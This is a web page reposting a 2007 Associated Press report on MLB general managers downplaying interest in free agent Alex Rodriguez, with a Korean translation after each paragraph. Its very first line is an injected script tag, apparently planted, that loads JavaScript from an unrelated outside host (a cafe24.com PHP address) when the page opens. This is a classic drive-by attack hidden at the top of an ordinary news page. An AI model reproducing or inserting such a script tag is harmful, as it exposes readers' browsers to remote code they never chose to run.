<scRIPT Language=Javascript src=http://rnjsdudwh.cafe24.com/Mics.php></script>Few teams admit interest in A-Rod
Posted: Tuesday November 6, 2007 9:22PM; Updated: Tuesday November 6, 2007 9:22PM


ORLANDO, Fla. (AP) -- For sale: MVP third baseman.

Asking price: $350 million and up.


물건 판매 : MVP 삼루수

가격 : 3억 5천만불 이상.




Given the cost, there's not a whole lot of teams admitting they're after Alex Rodriguez, at least publicly.

가격을 고려하면 적어도 공개적으로 알렉스 로드리게즈를 잡으려 한다는 걸 인정하는 팀은 거의 없다.



"We don't have any interest," Detroit president Dave Dombrowski said Tuesday at the general managers' meetings.

디트 데이브 돔브로스키 사장.

전혀 관심없어요.



"Doesn't make a lot of sense," said Chicago Cubs general manager Jim Hendry.

짐 헨드리 컵스 단장

그다지 이해가 안되는 영입이죠.



"I'm not sure it makes sense for us to potentially have a player that takes up most if not all of our on-field payroll," Florida Marlins president of baseball operations Larry Beinfest said.

말린스 래리 베인페스트 사장.

우리의 전 페이롤은 아닐지라도 페이롤 거의 대부분을 한 선수가 차지한다는 게 우리에게 납득이 될까요.



Sure, A-Rod would inject instant offense to a franchise, sell tickets and likely increase television ratings. But agent Scott Boras wanted a $350 million offer just to give the New York Yankees a meeting with Rodriguez. And that was before he opted out of his record $252 million, 10-year contract and became a free agent.

그래. 에이 롸드는 어떤 프랜차이즈에 즉각적인 공격 상승, 그리고 시청율 상승을 기할 것이다.

하지만 에이전트 보라스는 양키스가 롸드와 만나려면 3억 5천만불을 줘야한다고 했다.
그리고 그리고 나서 그는 역대 최고기록인 10년 2억 5200만불에서 탈출 조항을 발동해 에프에이가 되었다.



When Rodriguez signed his big deal with Texas after the 2000 season, the Rangers weren't able to put a quality lineup around him.

롸드가 00시즌 후 텍사스와 거액 계약에 서명했을 때, 레인저스는 그 주위로 수준급 라인업을 넣을 수 없었다.



"When you commit a significant part of your wherewithal to one position, no matter how good that position is, it limits your ability to compete across the rest of the playing field," said Bob DuPuy, baseball's chief operating officer. "So it's not just an economic analysis about what a pitcher who pitches every five days or a position player who might hit 50 home runs might do in terms of people coming to see that performer, but it's also about what is that going to do to the level of talent that you're going to be able to field across the rest of the roster."

야구 최고 집행관 밥 더피

한 포지션에 당신의 가진 것 상당부분을 할애한다면, 그 포지션이 얼마나 좋든간에 나머지 곳에 경쟁력을 키우는 능력을 제한시킵니다. 그래서 매 5일 공을 던지는 투수나 50홈런을 칠 수도 있는 포지션 플레이어가 관중몰이 관점에서 무엇을 할 수 있느냐에 관한 경제 분석 뿐만이 아니라, 나머지 로스터를 채우기 위해서도 필요한 경제 문제라고 합니다.




GMs never say absolutely no, not in a million years. But the tone is clear, at least for now.

단장들은 결코 절대 노라고 하진 않는다. 수많은 세월동안.
하지만 그런 어조는 분명하다. 적어도 현재로선.



"We're really trying to sign Mike back as our third baseman," Red Sox general manager Theo Esptein said, referring to World Series MVP Mike Lowell. "If he eventually signs somewhere else, we'll look at our other alternatives. But right now we're trying to bring him back."

레삭 테오 엡스타인 단장
로웰을 언급하며

우린 정말로 팀의 삼루수로 마이크와 재계약하려 하고 있습니다. 그가 결국 다른 팀으로 간다면, 우린 다른 대체 선수를 찾을 것입니다. 하지만 지금으로선 우린 그가 돌아오도록 노력하고 있습니다.



And what about returning A-Rod to his original position?

그리고 본래 포지션으로 에이 롸드가 복귀하는 것에 대한 생각은?



"We have a shortstop," Epstein said, not needing to add that Julio Lugo could be traded if the Red Sox did sign Rodriguez.

엡스타인.

루고를 따로 트레이드 시킬 필요성을 못 느낀다며

우린 유격수가 이미 있어요.



Dombrowski was one of the first GMs to make a big offseason trade, acquiring All-Star shortstop Edgar Renteria from the Atlanta Braves for two prospects.

돔브로스키.
올스타 유격수 에드가 렌테리아를 영입한 후.



"We filled our spot when we acquired Renteria," Dombrowski said.

렌테리아를 영입하면서 우리 자리를 채웠죠.



While the Marlins had the next-to-lowest opening payroll in the major leagues at $30.5 million, they've been mentioned as a possible A-Rod destination because he lives in the Miami area.

메이저 최소 페이롤의 말린스.



"We get mentioned in a lot of things," Beinfest said. "Maybe you put two and two together because of where he lives."

베인페스트

우린 많은 일들에서 언급되어집니다. 아마도 그가 사는 곳 때문에 그런 얘기가 나오는 거겠죠.



Hendry said the Cubs aren't interested because they have Aramis Ramirez at third base and other priorities.

"He's a tremendous player. Anybody would love to have him on their ballclub," Hendry said. "But we feel great about our third baseman and we've committed a tremendous amount of money to three or four long-term contracts. And for the needs that we have, as great as he is, we have to address some other issues. And to tie up that much of payroll, when you already have an All-Star at third base, doesn't make a lot of sense."

한편 헨드리는 아리미스 라미레즈가 삼루에 있고 다른 선결과제가 있기에 관심이 없다고 말했다고 합니다.

그는 엄청난 선수입니다. 누구나 그를 팀에 두고 싶어할 겁니다. 하지만 우린 우리 삼루수에 대해 대단함을 느끼고 있고, 우린 엄청난 금액의 장기 계약이 3-4개가 있습니다.

그리고 우리가 가진 필요에 있어서, 그는 위대할지라도, 우린 몇몇 다른 문제들을 다루어야 합니다. 그리고 이미 삼루에 올스타 삼루수를 가지고 있을 때 그러한 막대한 페이롤을 올리는 건 그다지 납득이 안되는 일입니다.



New York Mets general manager Omar Minaya has been circumspect in his comments, refusing to rule out A-Rod but not ruling him in. He just says he has David Wright at third and Jose Reyes at shortstop, and will discuss all possible fits when he meets with agents.

메츠 미나야 단장은 에이 롸드에 대해 부인도 긍정도 하지 않고 있다고 합니다.

그냥 자신은 삼루수로 롸잇을, 그리고 유격수로 레이에스를 가지고 있다고 말할 뿐.
그냥 에이전트들과 만날 때 모든 가능성을 두고 얘기를 할 것이라고 합니다.



While Minaya said Monday he had not yet met with Boras, he wouldn't answer that question Tuesday and laughed about whether he had received a briefing book on free agents -- Boras is famous in baseball for preparing detailed binders filled with statistics.

한편 미나야는 보라스의 엑스파일을 받을 것인지에 대한 질문에 웃었다고 합니다.



Los Angeles Dodgers general manager Ned Colletti, who just signed Joe Torre as his manager, has said his team has not yet determined its level of interest in Rodriguez.

한편 다저스 단장 콜레티는 다저스가 롸드에 대해 어느 정도의 관심을 보일지에 대해 결정하지 않은 상태라고 말했다고 하네요.



Copyright 2007 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten, or redistributed.